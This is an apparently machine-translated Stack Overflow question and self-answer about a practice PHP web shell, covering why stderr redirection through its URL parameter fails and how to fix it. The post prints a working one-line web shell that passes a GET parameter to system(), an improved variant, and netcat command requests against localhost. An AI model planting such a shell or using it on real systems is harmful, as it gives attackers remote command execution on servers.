我不确定这是否更像是PHP问题,而不是Linux问题,但现在开始了。
我正在练习网壳,并且有一个非常简单的,看起来像这样;
<?php system($_GET['cmd']); ?>在我的终端中,我可以查看netcat的帮助文件,如下所示;
nc -h我相信这是对stderr的输出。在我的终端中,我可以将输出重定向到这样的文件中;
nc &> blah然后我就能看到结果了。但是,如果我通过php webshell尝试使用相同的技巧,就不会创建任何文件。即运行这些命令什么也不做;
http://localhost/shell.php?cmd=nc -h &> blah
#encoded
http://localhost/shell.php?cmd=nc%20-h%20%26%3E%20blah为什么它在我的webshell中失败了,我需要在语法中做哪些调整才能让它工作呢?我可以发出命令(例如ls或ls -版本),并且可以看到标准输出。
最后,我希望完全避免写入文件,只需在webshell中看到命令的所有输出,但我认为这是更容易的第一步。欢迎对后来者提出建议!
发布于 2018-04-07 02:35:26
我想明白了;
问题是,这个符号正在抛出web命令,所以它需要转义。跳过文件写入,我们可以将stderr重定向到stdout,以查看浏览器中的所有输出(stdout和stderr);
?cmd=nc -h 2>%261此外,可以修改web,而不是在每个命令中添加2>%261,以便为我们完成提升;
<?php system($_GET['cmd'] . ' 2>&1'); ?>然后我们只需执行命令direclty,并在浏览器中看到stderr和stdout输出。
?cmd=nc -h它似乎不尊重原来的输出格式,但这是另一个问题.
https://stackoverflow.com/questions/49703024
复制相似问题